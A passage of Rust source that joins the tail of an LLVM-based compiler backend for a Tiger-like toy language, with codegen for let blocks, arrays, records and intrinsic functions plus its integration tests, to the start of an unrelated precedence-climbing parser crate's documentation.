for expr in opt_list.as_ref().unwrap().iter(){
match expr.codegen(ctxt){
Ok(val) => { ret_val = Ok(val)},
Err(msg) => {ret_val = Err(msg)}
}
}
}
//Ok(LLVMConstInt(LLVMIntTypeInContext(ctxt.context, 32), 0 as u64, 0))
return ret_val
},
&Expr::LetExpr(ref decls, ref expr) => {
debug_assert!(!decls.is_empty(), "Declarations in a let block can't be empty");
debug_assert!(expr.is_some(), "Expr in a let block can't be empty");
for decl in &*decls {
match decl {
&Decl::FunDec(ref name, ref params, ref ty, ref body, _) => {
let llvm_ty = get_llvm_type_for_ttype(ty, ctxt);
let mut type_args = Vec::new();
let optional_params = params.as_ref();
//FIXME simplify this param checking condition
if optional_params.is_some() && optional_params.unwrap().len() > 0{
for p in optional_params.unwrap(){
let param_llvm_type = get_llvm_type_for_ttype(&p.1, ctxt);
type_args.push(param_llvm_type);
}
}
let proto = LLVMFunctionType(llvm_ty,
type_args.as_mut_ptr(),
if optional_params.is_some(){
optional_params.unwrap().len() as u32
}
else{
0
},
0);
let cloned_name = name.clone();
let function = LLVMAddFunction(ctxt.module,
c_str_ptr!(&(*cloned_name)),
proto);
let bb = LLVMAppendBasicBlockInContext(ctxt.context,
function,
c_str_ptr!("entry"));
let func = Function::new(cloned_name.clone(), function);
ctxt.sym_tab.push((cloned_name.into(), Some(Box::new(func))));
LLVMPositionBuilderAtEnd(ctxt.builder, bb);
//trans_expr(body, &mut ctxt);
ctxt.sym_tab.push(("<marker>".into(),
None));
//build allocas for params
if optional_params.is_some() && optional_params.unwrap().len() > 0{
let c = LLVMCountParams(function) as usize;
let mut params_vec = Vec::with_capacity(c);
let p = params_vec.as_mut_ptr();
mem::forget(params_vec);
LLVMGetParams(function, p);
let mut v = Vec::from_raw_parts(p, c, c);
//assert_eq!(params_vec.len(), 1);
for (value_ref, param) in v.iter().zip(optional_params.unwrap()){
let alloca = LLVMBuildAlloca(ctxt.builder,
get_llvm_type_for_ttype(¶m.1, ctxt),
c_str_ptr!(&*param.0));
LLVMBuildStore(ctxt.builder,
*value_ref,
alloca);
ctxt.sym_tab.push((param.0.clone().into(),
Some(Box::new(Var::new(param.0.clone(), param.1.clone(), alloca)))));
}
}
let value_ref = try!(body.codegen(ctxt));
if *ty == TType::TVoid{
LLVMBuildRetVoid(ctxt.builder);
}
else{
LLVMBuildRet(ctxt.builder, value_ref);
}
//pop all local symbols belonging to the current function
while !ctxt.sym_tab.last().unwrap().1.is_none(){
ctxt.sym_tab.pop();
}
ctxt.sym_tab.pop();
},
&Decl::VarDec(ref name, ref ty, ref rhs) => {
//TODO use match on rhs and separate processing of IdExpr and
//ArrayExpr
let llvm_ty = get_llvm_type_for_ttype(ty, ctxt);
if let TType::TArray(_) = *ty{
match &**rhs{
&ArrayExpr(ref _ty, ref _dim_expr, ref _init_expr) => {
//let dim = try!(_dim_expr.codegen(ctxt));
match &**_dim_expr{
&NumExpr(n) => {
let _alloca = LLVMBuildAlloca(ctxt.builder,
LLVMArrayType(LLVMIntTypeInContext(ctxt.context, 32), n as u32),
c_str_ptr!("_alloca"));
let init_val = try!(_init_expr.codegen(ctxt));
for i in 0..n{
//gep
let val = LLVMBuildGEP(ctxt.builder,
_alloca,
vec![LLVMConstInt(LLVMIntTypeInContext(ctxt.context, 32), 0u64, 0),
LLVMConstInt(LLVMIntTypeInContext(ctxt.context, 32), i as u64, 0)].as_mut_ptr(),
2,
c_str_ptr!("array_gep"));
LLVMBuildStore(ctxt.builder,
init_val,
val);
}
//let _load = LLVMBuildLoad(ctxt.builder, dim, c_str_ptr!("arr_load"));
/*let _alloca = LLVMBuildArrayAlloca(ctxt.builder,
LLVMArrayType(LLVMIntTypeInContext(ctxt.context, 32), 4),
LLVMConstInt(LLVMIntTypeInContext(ctxt.context, 32), 4 as u64, 0),
c_str_ptr!("_alloca"));*/
ctxt.sym_tab.push((name.clone().into(),
Some(Box::new(Var::new(name.clone(), ty.clone(), _alloca)))));
},
_ => {}
}
},
_ => {}
}
}
else if let TType::TRecord = *ty{
match &**rhs{
&RecordExpr(ref field_decls) =>{
let mut v = Vec::new();
for &(ref field_name, ref field_type) in field_decls.as_ref().unwrap(){
match field_type{
&TType::TInt32 => v.push(LLVMIntTypeInContext(ctxt.context, 32)),
&TType::TString => v.push(LLVMPointerType(LLVMIntTypeInContext(ctxt.context, 8), 0)),
_ => {}
}
}
let _alloca = LLVMBuildAlloca(ctxt.builder,
LLVMStructType(v.as_mut_ptr(),
field_decls.as_ref().unwrap().len() as u32,
0),
c_str_ptr!("alloca"));
ctxt.sym_tab.push((name.clone().into(),
Some(Box::new(Var::new(name.clone(), ty.clone(), _alloca)))));
},
_ => {}
}
}
else{
let alloca = LLVMBuildAlloca(ctxt.builder, llvm_ty, c_str_ptr!(&(*name.clone())));
let rhs_value_ref = try!(rhs.codegen(ctxt));
LLVMBuildStore(ctxt.builder,
rhs_value_ref,
alloca);
ctxt.sym_tab.push((name.clone().into(), Some(Box::new(Var::new(name.clone(), ty.clone(), alloca)))));
}
},
_ => panic!("More decl types should be covered")
}
}
//translation of the 'in' expr
//trans_expr(&*expr.unwrap(), &mut ctxt);
//FIXME should the previous bb be popped here?
let bb = ctxt.bb_stack.pop().unwrap();
LLVMPositionBuilderAtEnd(ctxt.builder, bb);
let e = &expr.as_ref().unwrap();
let v = try!(e.codegen(ctxt));
//pop all the symbols declared in the current let block
Ok(v)
}
t => Err(format!("error: {:?}", t))
}
}
}
}
fn get_symbol<'a>(sym : &mut &'a OptionalSymbolInfo, id : &String, sym_tab : &'a Vec<(Cow<'a, str>, OptionalSymbolInfo)>){
for &(ref _id, ref info) in sym_tab.iter().rev(){
if *_id == *id {
*sym = info;
break;
}
}
}
//returns the pointer to an element in the array
fn get_gep(id : &String, subscript_expr : &Expr, ctxt : &mut Context) -> IRBuildingResult {
unsafe {
//FIXME the following line is the first statement because compiler wont
//allow it after the for loop. says ctxt.sym_tab is already borrowed as
//mutable. see how this can be put inside if _optional.is_some(){...}
let i = try!(subscript_expr.codegen(ctxt));
let mut sym = &None;
get_symbol(&mut sym, id, &ctxt.sym_tab);
if sym.is_none(){
panic!(format!("Invalid reference to array '{0}'", *id));
}
let _optional = sym.as_ref().unwrap().downcast_ref::<Var>();
if _optional.is_some(){
let val = LLVMBuildGEP(ctxt.builder,
_optional.as_ref().unwrap().alloca_ref(), //array alloca
vec![LLVMConstInt(LLVMIntTypeInContext(ctxt.context, 32), 0u64, 0),
i].as_mut_ptr(),
2,
c_str_ptr!("array_gep"));
Ok(val)
}
else{
panic!(format!("Invalid reference to array '{0}'. Different binding found.", *id));
}
}
}
trait StdFunctionCodeBuilder{
fn std_fn_codegen(&self, ctxt : &mut Context);
}
impl StdFunctionCodeBuilder for Expr{
fn std_fn_codegen(&self, ctxt : &mut Context){
match *self{
Expr::NumExpr(_) |
Expr::StringExpr(_) |
Expr::IdExpr(_) |
//FIXME call std_fn_codegen() for index, dim and init exprs
Expr::SubscriptExpr(_, _) |
Expr::RecordExpr(_) |
Expr::ArrayExpr(_, _, _) |
Expr::FieldExpr(_, _) => return,
Expr::AddExpr(ref e1, ref e2) |
Expr::SubExpr(ref e1, ref e2) |
Expr::MulExpr(ref e1, ref e2) |
Expr::DivExpr(ref e1, ref e2) |
Expr::LessThanExpr(ref e1, ref e2) |
Expr::GreaterThanExpr(ref e1, ref e2) |
Expr::EqualsExpr(ref e1, ref e2) => {
e1.std_fn_codegen(ctxt);
e2.std_fn_codegen(ctxt);
},
Expr::IfThenElseExpr(ref cond_expr, ref then_expr, ref else_expr) => {
cond_expr.std_fn_codegen(ctxt);
then_expr.std_fn_codegen(ctxt);
else_expr.std_fn_codegen(ctxt);
},
Expr::ForExpr(_, ref from, ref to, ref do_expr) => {
from.std_fn_codegen(ctxt);
to.std_fn_codegen(ctxt);
do_expr.std_fn_codegen(ctxt);
},
Expr::LetExpr(ref decls, ref body) =>{
for decl in &*decls {
match decl {
&Decl::FunDec(_, _, _, ref body, _) => {
body.std_fn_codegen(ctxt);
},
&Decl::VarDec(_, _, ref rhs) => {
rhs.std_fn_codegen(ctxt);
}
_ => {}
}
body.as_ref().unwrap().std_fn_codegen(ctxt);
}
}
Expr::CallExpr(ref id, ref optional_ty_expr_args) => {
match &**id{
"not" => {
not_builder(ctxt);
},
"chr" => {
chr_builder(ctxt);
},
_ => {}
}
if optional_ty_expr_args.is_some(){
for &(_ , ref e) in optional_ty_expr_args.as_ref().unwrap(){
e.std_fn_codegen(ctxt);
}
}
},
Expr::SeqExpr(ref opt_list) => {
if opt_list.is_some(){
for expr in opt_list.as_ref().unwrap().iter(){
expr.std_fn_codegen(ctxt);
}
}
},
Expr::AssignExpr(ref lhs, ref rhs) => {
lhs.std_fn_codegen(ctxt);
rhs.std_fn_codegen(ctxt);
},
_ => {panic!("Expression not covered yet for intrinsic code generation")}
}
}
}
fn not_builder(ctxt : &mut Context) {
if !ctxt.proto_map.contains_key("not"){
unsafe{
let not_function : LLVMValueRef;
//check if we already have a prototype defined
let not_ty = LLVMIntTypeInContext(ctxt.context, 32);
let mut not_type_args_vec = vec![LLVMIntTypeInContext(ctxt.context, 32)];
let proto = LLVMFunctionType(not_ty, not_type_args_vec.as_mut_ptr(), 1, 0);
not_function = LLVMAddFunction(ctxt.module,
c_str_ptr!("not"),
proto);
let bb = LLVMAppendBasicBlockInContext(ctxt.context,
not_function,
c_str_ptr!("entry"));
let func = Function::new(String::from("not"), not_function);
//FIXME this should be inserted at the beginning to indicate the fact that
//it belongs to the global scope
ctxt.sym_tab.push(("not".into(), Some(Box::new(func))));
LLVMPositionBuilderAtEnd(ctxt.builder, bb);
//build allocas for params
let c = LLVMCountParams(not_function) as usize;
assert_eq!(c, 1);
let mut params_vec = Vec::with_capacity(c);
let p = params_vec.as_mut_ptr();
mem::forget(params_vec);
LLVMGetParams(not_function, p);
let mut v = Vec::from_raw_parts(p, c, c);
assert_eq!(v.len(), 1);
//assert_eq!(params_vec.len(), 1);
let alloca = LLVMBuildAlloca(ctxt.builder,
LLVMIntTypeInContext(ctxt.context, 32),
c_str_ptr!("a"));
LLVMBuildStore(ctxt.builder,
v[0],
alloca);
ctxt.sym_tab.push(("a".into(),
Some(Box::new(Var::new(String::from("a"), TType::TInt32, alloca)))));
let body = IfThenElseExpr(B(EqualsExpr(B(IdExpr(String::from("a"))), B(NumExpr(0)))),
B(NumExpr(1)),
B(NumExpr(0)));
let value_ref = match body.codegen(ctxt){
Ok(v_ref) => v_ref,
Err(e) => panic!("Error generating code for the body - {0}", e)
};
LLVMBuildRet(ctxt.builder, value_ref);
ctxt.sym_tab.pop();
ctxt.proto_map.insert("not", true);
}
}
}
fn chr_builder(ctxt : &mut Context){
if !ctxt.proto_map.contains_key("chr"){
unsafe{
let sprintf_function : LLVMValueRef;
//check if we already have a prototype defined
if !ctxt.proto_map.contains_key("sprintf"){
let sprintf_ty = LLVMIntTypeInContext(ctxt.context, 32);
let mut spf_type_args_vec = vec![LLVMPointerType(LLVMIntTypeInContext(ctxt.context, 8), 0)];
let proto = LLVMFunctionType(sprintf_ty, spf_type_args_vec.as_mut_ptr(), 2, 1);
sprintf_function = LLVMAddFunction(ctxt.module,
c_str_ptr!("sprintf"),
proto);
ctxt.proto_map.insert("sprintf", true);
}
else{
sprintf_function = LLVMGetNamedFunction(ctxt.module, c_str_ptr!("sprintf"));
}
let chr_function : LLVMValueRef;
//check if we already have a prototype defined
let chr_ty = LLVMPointerType(LLVMIntTypeInContext(ctxt.context, 8), 0);
let mut chr_type_args_vec = vec![LLVMIntTypeInContext(ctxt.context, 32)];
let proto = LLVMFunctionType(chr_ty, chr_type_args_vec.as_mut_ptr(), 1, 0);
chr_function = LLVMAddFunction(ctxt.module,
c_str_ptr!("chr"),
proto);
let bb = LLVMAppendBasicBlockInContext(ctxt.context,
chr_function,
c_str_ptr!("entry"));
let func = Function::new(String::from("chr"), chr_function);
//FIXME this should be inserted at the beginning to indicate the fact that
//it belongs to the global scope
ctxt.sym_tab.push(("chr".into(), Some(Box::new(func))));
LLVMPositionBuilderAtEnd(ctxt.builder, bb);
//build allocas for params
let c = LLVMCountParams(chr_function) as usize;
assert_eq!(c, 1);
let mut params_vec = Vec::with_capacity(c);
let p = params_vec.as_mut_ptr();
mem::forget(params_vec);
LLVMGetParams(chr_function, p);
let mut v = Vec::from_raw_parts(p, c, c);
assert_eq!(v.len(), 1);
//assert_eq!(params_vec.len(), 1);
let alloca = LLVMBuildAlloca(ctxt.builder,
LLVMIntTypeInContext(ctxt.context, 32),
c_str_ptr!("a"));
LLVMBuildStore(ctxt.builder,
v[0],
alloca);
ctxt.sym_tab.push(("a".into(),
Some(Box::new(Var::new(String::from("a"), TType::TInt32, alloca)))));
let converted_value = LLVMBuildAlloca(ctxt.builder,
LLVMPointerType(LLVMIntTypeInContext(ctxt.context, 32), 0),
c_str_ptr!("s"));
let mut sprintf_args = vec![LLVMBuildLoad(ctxt.builder,
converted_value,
c_str_ptr!("s")),
LLVMBuildGlobalStringPtr(ctxt.builder,
c_str_ptr!("%d"),
c_str_ptr!(".str")),
LLVMBuildLoad(ctxt.builder,
alloca,
c_str_ptr!("a"))];
LLVMBuildCall(ctxt.builder,
sprintf_function,
sprintf_args.as_mut_ptr(),
3,
c_str_ptr!("call"));
LLVMBuildRet(ctxt.builder, converted_value);
ctxt.sym_tab.pop();
ctxt.proto_map.insert("chr", true);
}
}
}
pub fn translate(expr : &Expr) -> Option<Context>{
let mut ctxt = Context::new("main_mod");
unsafe{
let r = LLVM_InitializeNativeTarget();
assert_eq!(r, 0);
LLVM_InitializeNativeAsmPrinter();
expr.std_fn_codegen(&mut ctxt);
//build outer embedding main() fn
let ty = LLVMIntTypeInContext(ctxt.context, 32);
let proto = LLVMFunctionType(ty, ptr::null_mut(), 0, 0);
let function = LLVMAddFunction(ctxt.module,
c_str_ptr!("main"),
proto);
let bb = LLVMAppendBasicBlockInContext(ctxt.context,
function,
c_str_ptr!("entry"));
LLVMPositionBuilderAtEnd(ctxt.builder, bb);
ctxt.bb_stack.push(bb);
trans_expr(expr, &mut ctxt);
LLVMBuildRet(ctxt.builder,
LLVMConstInt(LLVMIntTypeInContext(ctxt.context, 32), 0 as u64, 0));
}
Some(ctxt)
}
fn link_object_code(ctxt : &Context){
link(ctxt);
}
fn trans_expr(expr: &Expr, ctxt : &mut Context){
expr.codegen(ctxt).unwrap();
}
#[cfg(test)]
mod tests {
use syntax::visit::{Visitor};
use syntax::visitor_impl::{TypeChecker};
use syntax::parse::*;//{Parser};
use syntax::parse::parser::{Parser};
use link::link;
use helpers::*;
use symbol::*;
use super::*;
#[test]
fn test_prsr_bcknd_intgrtion_prnt_call() {
let mut p = Parser::new("print(\"Grrrr!\n\")".to_string());
p.start_lexer();
let mut tup = p.expr();
let &mut (ref mut ty, ref mut b_expr) = tup.as_mut().unwrap();
let mut v = TypeChecker::new();
v.visit_expr(&mut *b_expr);
let ctxt = translate(&*b_expr);
// let ctxt = translate();&Expr::CallExpr("print".to_string(),
// Some(vec![(TType::TString,
// B(Expr::StringExpr("abhi".to_string())))])));
assert_eq!(ctxt.is_some(), true);
}
#[test]
fn test_translate_add_expr(){
let mut p = Parser::new(String::from("let function foo() : int = 1+3 in foo() end"));
p.start_lexer();
let mut tup = p.expr();
let &mut (ref mut ty, ref mut b_expr) = tup.as_mut().unwrap();
let mut v = TypeChecker::new();
v.visit_expr(&mut *b_expr);
let ctxt = translate(&*b_expr);
}
#[test]
fn test_prsr_bcknd_intgrtion_let_blk() {
let mut p = Parser::new("let function foo() = print(\"Grrrr!\n\") in foo() end".to_string());
p.start_lexer();
let mut tup = p.expr();
let &mut (ref mut ty, ref mut b_expr) = tup.as_mut().unwrap();
let mut v = TypeChecker::new();
v.visit_expr(&mut *b_expr);
let ctxt = translate(&*b_expr);
assert_eq!(ctxt.is_some(), true);
}
#[test]
fn test_prsr_bcknd_intgrtion_if_then_expr() {
let mut p = Parser::new("let function foo() = if 0 then print(\"rust\n\") else print(\"c++\n\") in foo() end".to_string());
p.start_lexer();
let mut tup = p.expr();
let &mut (ref mut ty, ref mut b_expr) = tup.as_mut().unwrap();
let mut v = TypeChecker::new();
v.visit_expr(&mut *b_expr);
let ctxt = translate(&*b_expr);
assert_eq!(ctxt.is_some(), true);
}
#[test]
fn test_prsr_bcknd_intgrtion_if_then_expr_with_div_expr() {
let mut p = Parser::new("let function foo() = if 1/1 then print(\"rust\n\") else print(\"c++\n\") in foo() end".to_string());
p.start_lexer();
let mut tup = p.expr();
let &mut (ref mut ty, ref mut b_expr) = tup.as_mut().unwrap();
let mut v = TypeChecker::new();
v.visit_expr(&mut *b_expr);
let ctxt = translate(&*b_expr);
assert_eq!(ctxt.is_some(), true);
}
#[test]
fn test_prsr_bcknd_intgrtion_if_then_expr_with_mul_expr() {
let mut p = Parser::new("let function foo() = if 1*1 then print(\"ruby\n\") else print(\"c++\n\") in foo() end".to_string());
p.start_lexer();
let mut tup = p.expr();
let &mut (ref mut ty, ref mut b_expr) = tup.as_mut().unwrap();
let mut v = TypeChecker::new();
v.visit_expr(&mut *b_expr);
let ctxt = translate(&*b_expr);
assert_eq!(ctxt.is_some(), true);
}
#[test]
fn test_prsr_bcknd_intgrtion_if_then_expr_with_less_than_expr() {
let mut p = Parser::new("let function foo() = if 1<1 then print(\"ruby\n\") else print(\"c++\n\") in foo() end".to_string());
p.start_lexer();
let mut tup = p.expr();
let &mut (ref mut ty, ref mut b_expr) = tup.as_mut().unwrap();
let mut v = TypeChecker::new();
v.visit_expr(&mut *b_expr);
let ctxt = translate(&*b_expr);
assert_eq!(ctxt.is_some(), true);
}
#[test]
#[should_panic(expected="Both types of a relational operator must match and be of type int or string.")]
fn test_prsr_bcknd_intgrtion_less_than_expr_with_mismatched_types() {
let mut p = Parser::new("let function foo() = if 1< \"abhi\" then print(\"ruby\n\") else print(\"c++\n\") in foo() end".to_string());
p.start_lexer();
let mut tup = p.expr();
let &mut (ref mut ty, ref mut b_expr) = tup.as_mut().unwrap();
let mut v = TypeChecker::new();
v.visit_expr(&mut *b_expr);
let ctxt = translate(&*b_expr);
assert_eq!(ctxt.is_some(), true);
}
#[test]
fn test_prsr_bcknd_intgrtion_var_decl() {
let mut p = Parser::new("let var a : int :=1\n function foo() = print(\"ruby\n\") in foo() end".to_string());
p.start_lexer();
let mut tup = p.expr();
let &mut (ref mut ty, ref mut b_expr) = tup.as_mut().unwrap();
let mut v = TypeChecker::new();
v.visit_expr(&mut *b_expr);
let ctxt = translate(&*b_expr);
assert_eq!(ctxt.is_some(), true);
}
#[test]
fn test_prsr_bcknd_intgrtion_for_loop() {
let mut p = Parser::new("let function foo() = for i:=1 to 5 do print(\"ruby\n\") in foo() end".to_string());
p.start_lexer();
let mut tup = p.expr();
let &mut (ref mut ty, ref mut b_expr) = tup.as_mut().unwrap();
let mut v = TypeChecker::new();
v.visit_expr(&mut *b_expr);
let ctxt = translate(&*b_expr);
assert_eq!(ctxt.is_some(), true);
}
#[test]
fn test_prsr_bcknd_intgrtion_print_num() {
let mut p = Parser::new("print(1)".to_string());
p.start_lexer();
let mut tup = p.expr();
let &mut (ref mut ty, ref mut b_expr) = tup.as_mut().unwrap();
let mut v = TypeChecker::new();
v.visit_expr(&mut *b_expr);
let ctxt = translate(&*b_expr);
assert_eq!(ctxt.is_some(), true);
}
#[test]
#[should_panic(expected="Invalid call to 'foo'. Function not found.")]
fn test_prsr_bcknd_intgrtion_invalid_call() {
let mut p = Parser::new("foo()".to_string());
p.start_lexer();
let mut tup = p.expr();
let &mut (ref mut ty, ref mut b_expr) = tup.as_mut().unwrap();
let mut v = TypeChecker::new();
v.visit_expr(&mut *b_expr);
let ctxt = translate(&*b_expr);
}
#[test]
#[should_panic(expected="Invalid reference to variable 'i'")]
fn test_prsr_bcknd_intgrtion_invalid_reference_to_var() {
let mut p = Parser::new("let var a : int :=i in foo()".to_string());
p.start_lexer();
let mut tup = p.expr();
let &mut (ref mut ty, ref mut b_expr) = tup.as_mut().unwrap();
let mut v = TypeChecker::new();
v.visit_expr(&mut *b_expr);
let ctxt = translate(&*b_expr);
}
#[test]
fn test_prsr_bcknd_intgrtion_var_assignment_to_var() {
let mut p = Parser::new("let var i : int := 1\nvar a : int :=i in print(\"\")".to_string());
p.start_lexer();
let mut tup = p.expr();
let &mut (ref mut ty, ref mut b_expr) = tup.as_mut().unwrap();
let mut v = TypeChecker::new();
v.visit_expr(&mut *b_expr);
let ctxt = translate(&*b_expr);
assert_eq!(ctxt.unwrap().sym_tab.len(), 2);
}
#[test]
#[should_panic(expected="Invalid reference to variable 'foo'. Different binding found.")]
fn test_prsr_bcknd_intgrtion_invalid_reference_to_var_defined_as_function() {
let mut p = Parser::new("let function foo() = print(\"b\")\nvar i : int := foo\n in print(\"\")".to_string());
p.start_lexer();
let mut tup = p.expr();
let &mut (ref mut ty, ref mut b_expr) = tup.as_mut().unwrap();
let mut v = TypeChecker::new();
v.visit_expr(&mut *b_expr);
let ctxt = translate(&*b_expr);
}
#[test]
#[should_panic(expected="Invalid reference to function 'foo'. Different binding found.")]
fn test_prsr_bcknd_intgrtion_invalid_reference_to_func_defined_as_var() {
let mut p = Parser::new("let var foo : int := 1\n in foo()".to_string());
p.start_lexer();
let mut tup = p.expr();
let &mut (ref mut ty, ref mut b_expr) = tup.as_mut().unwrap();
let mut v = TypeChecker::new();
v.visit_expr(&mut *b_expr);
let ctxt = translate(&*b_expr);
}
//#[test]
fn test_prsr_bcknd_intgrtion_empty_sym_tab_after_function_scope_ends() {
let mut p = Parser::new("let var a : int := 1\nfunction foo(a:int, b:int) = print(\"abhi\")\n in foo()".to_string());
p.start_lexer();
let mut tup = p.expr();
let &mut (ref mut ty, ref mut b_expr) = tup.as_mut().unwrap();
let mut v = TypeChecker::new();
v.visit_expr(&mut *b_expr);
let ctxt = translate(&*b_expr);
assert_eq!(ctxt.unwrap().sym_tab.len(), 2);
}
#[test]
fn test_prsr_bcknd_intgrtion_function_with_2_int_params_with_a_call() {
let mut p = Parser::new("let function add(a:int, b:int) : int = a+b\n in add(1, 2)".to_string());
p.start_lexer();
let mut tup = p.expr();
let &mut (ref mut ty, ref mut b_expr) = tup.as_mut().unwrap();
let mut v = TypeChecker::new();
v.visit_expr(&mut *b_expr);
let ctxt = translate(&*b_expr);
//assert_eq!(ctxt.unwrap().sym_tab.len(), 1);
}
#[test]
fn test_prsr_bcknd_intgrtion_print_addition_call_result() {
let mut p = Parser::new("let function add(a:int, b:int) : int = a+b\n in print(add(1,2))".to_string());
p.start_lexer();
let mut tup = p.expr();
let &mut (ref mut ty, ref mut b_expr) = tup.as_mut().unwrap();
let mut v = TypeChecker::new();
v.visit_expr(&mut *b_expr);
let ctxt = translate(&mut *b_expr);
//assert_eq!(ctxt.unwrap().sym_tab.len(), 1);
}
#[test]
fn test_prsr_bcknd_intgrtion_print_string_return_call_result() {
let mut p = Parser::new("let function add() : string = \"abhi\n\"\n in print(add())".to_string());
p.start_lexer();
let mut tup = p.expr();
let &mut (ref mut ty, ref mut b_expr) = tup.as_mut().unwrap();
let mut v = TypeChecker::new();
v.visit_expr(&mut *b_expr);
let ctxt = translate(&mut *b_expr);
//assert_eq!(ctxt.unwrap().sym_tab.len(), 1);
}
#[test]
fn test_prsr_bcknd_intgrtion_print_not_return_call_result() {
let mut p = Parser::new("print(not(0))".to_string());
p.start_lexer();
let mut tup = p.expr();
let &mut (ref mut ty, ref mut b_expr) = tup.as_mut().unwrap();
let mut v = TypeChecker::new();
v.visit_expr(&mut *b_expr);
let ctxt = translate(&mut *b_expr);
//assert_eq!(ctxt.unwrap().sym_tab.len(), 1);
}
#[test]
fn test_prsr_bcknd_intgrtion_print_size_return_call_result() {
let mut p = Parser::new("print(size(\"abhi\"))".to_string());
p.start_lexer();
let mut tup = p.expr();
let &mut (ref mut ty, ref mut b_expr) = tup.as_mut().unwrap();
let mut v = TypeChecker::new();
v.visit_expr(&mut *b_expr);
let ctxt = translate(&mut *b_expr);
//assert_eq!(ctxt.unwrap().sym_tab.len(), 1);
}
#[test]
fn test_prsr_bcknd_intgrtion_print_with_exit_call() {
let mut p = Parser::new("exit(1)".to_string());
p.start_lexer();
let mut tup = p.expr();
let &mut (ref mut ty, ref mut b_expr) = tup.as_mut().unwrap();
let mut v = TypeChecker::new();
v.visit_expr(&mut *b_expr);
let ctxt = translate(&mut *b_expr);
//assert_eq!(ctxt.unwrap().sym_tab.len(), 1);
}
#[test]
fn test_prsr_bcknd_intgrtion_print_with_ord_call() {
let mut p = Parser::new("print(ord(\"73\") + 12)".to_string());
p.start_lexer();
let mut tup = p.expr();
let &mut (ref mut ty, ref mut b_expr) = tup.as_mut().unwrap();
let mut v = TypeChecker::new();
v.visit_expr(&mut *b_expr);
}
#[test]
fn test_prsr_bcknd_intgrtion_array_var_succeeds() {
let mut p = Parser::new("let var a : array := array of int[1] of 1+1 in a end".to_string());
p.start_lexer();
let mut tup = p.expr();
let &mut (ref mut ty, ref mut b_expr) = tup.as_mut().unwrap();
let mut v = TypeChecker::new();
v.visit_expr(&mut *b_expr);
let ctxt = translate(&mut *b_expr);
}
#[test]
fn test_prsr_bcknd_intgrtion_array_access() {
let mut p = Parser::new("let var a : array := array of int[3] of 1+1 in print(a[2]) end".to_string());
p.start_lexer();
let mut tup = p.expr();
let &mut (ref mut ty, ref mut b_expr) = tup.as_mut().unwrap();
let mut v = TypeChecker::new();
v.visit_expr(&mut *b_expr);
let ctxt = translate(&mut *b_expr);
//link_object_code(ctxt.as_ref().unwrap());
//ctxt.unwrap().dump();
}
#[test]
fn test_prsr_bcknd_intgrtion_array_element_modification() {
let mut p = Parser::new("let var a : array := array of int[3] of 1+1 in (a[2]:=99;print(a[2]);) end".to_string());
p.start_lexer();
let mut tup = p.expr();
let &mut (ref mut ty, ref mut b_expr) = tup.as_mut().unwrap();
let mut v = TypeChecker::new();
v.visit_expr(&mut *b_expr);
let ctxt = translate(&mut *b_expr);
//link_object_code(ctxt.as_ref().unwrap());
//ctxt.unwrap().dump();
}
#[test]
fn test_prsr_bcknd_intgrtion_int_var_modification() {
let mut p = Parser::new("let var a : int := 3 in (a := 8;print(a);) end".to_string());
p.start_lexer();
let mut tup = p.expr();
let &mut (ref mut ty, ref mut b_expr) = tup.as_mut().unwrap();
let mut v = TypeChecker::new();
v.visit_expr(&mut *b_expr);
let ctxt = translate(&mut *b_expr);
super::link_object_code(ctxt.as_ref().unwrap());
ctxt.unwrap().dump();
}
#[test]
fn test_prsr_bcknd_intgrtion_record_decl() {
let mut p = Parser::new("let var a : rec := {b:int} in a end".to_string());
p.start_lexer();
let mut tup = p.expr();
let &mut (ref mut ty, ref mut b_expr) = tup.as_mut().unwrap();
let mut v = TypeChecker::new();
v.visit_expr(&mut *b_expr);
let ctxt = translate(&mut *b_expr);
super::link_object_code(ctxt.as_ref().unwrap());
ctxt.unwrap().dump();
}
#[test]
fn test_prsr_bcknd_intgrtion_record_access() {
let mut p = Parser::new("let var a : rec := {b:int} in print(a.b) end".to_string());
p.start_lexer();
let mut tup = p.expr();
let &mut (ref mut ty, ref mut b_expr) = tup.as_mut().unwrap();
let mut v = TypeChecker::new();
v.visit_expr(&mut *b_expr);
let ctxt = translate(&mut *b_expr);
super::link_object_code(ctxt.as_ref().unwrap());
ctxt.unwrap().dump();
}
//#[test]
//fn test_prsr_bcknd_intgrtion_print_with_chr_call() {
// let mut p = Parser::new("print(chr(7))".to_string());
// p.start_lexer();
// let mut tup = p.expr();
// let &mut (ref mut ty, ref mut b_expr) = tup.as_mut().unwrap();
// let mut v = TypeChecker::new();
// v.visit_expr(&mut *b_expr);
// let ctxt = translate(&mut *b_expr);
// link_object_code(ctxt.as_ref().unwrap());
//}
}
|
//! A crate to enable easy use of the [precedence climbing][1] algorithm.
//! You plug your own handler function, token struct, and operator enum,
//! and this crate provides the algorithm.
//!
//! Because the crate is sufficiently generic, It's possible to add
//! very complex behavior without having to roll your own algorith.
//! the [`int_math`][2] example demonstrates adding parenteses that respect ordering.
//!
//! The relationships between the required structures you provide are enforced
//! by std library traits, which will let your structures play well with
//! your existing code base.
//!
//! [1]: https://en.wikipedia.org/wiki/Operator-precedence_parser#Precedence_climbing_method
//! [2]: https://github.com/mcpar-land/prec/blob/master/examples/int_math.rs
use std::collections::HashMap;
use std::fmt;
use std::hash::Hash;
use std::marker::PhantomData;
pub trait Token<Re, Err, Ctx = ()> {
fn convert(self, ctx: &Ctx) -> Result<Re, Err>;
}
/// A struct containing the order of operations rules and a pointer to a handler function.
///
/// # Generics
/// Has three generics:
/// ## `Op`
/// An enum or other value that is used to specify different rules.
///
/// Required implementations: [Hash], [Eq], [Copy]
///
/// ## `To`
/// A token used in expressions between operators.
///
/// Required implementations: [Into<Re>], [Clone]
///
/// ## `Re`
/// A result value returned from the `compute` function.
///
/// ## `Err`
/// The error type returned in results.
///
/// ## `Ctx`
/// A context value made available across an entire expression while evaluating.
/// Entirely optional, defaults to `()`
///
///
/// [Hash]: https://doc.rust-lang.org/std/hash/index.html
/// [Eq]: https://doc.rust-lang.org/std/cmp/trait.Eq.ht
/// [Copy]: https://doc.rust-lang.org/std/marker/trait.Copy.html
/// [Clone]: https://doc.rust-lang.org/std/clone/trait.Clone.html
pub struct Climber<
Op: Hash + Eq + Copy,
To: Token<Re, Err, Ctx> + Clone,
Re,
Err,
Ctx = (),
> {
/// A map of [Rule](struct.Rule.html) s.
///
/// [1]: https://en.wikipedia.org/wiki/Operator-precedence_parser#Precedence_climbing_method
pub rules: HashMap<Op, (usize, Assoc)>,
/// Function to handle the result of an operator between two tokens.
///
/// Arguments are:
/// - Left-hand side token
/// - Operator
/// - Right-hand side token
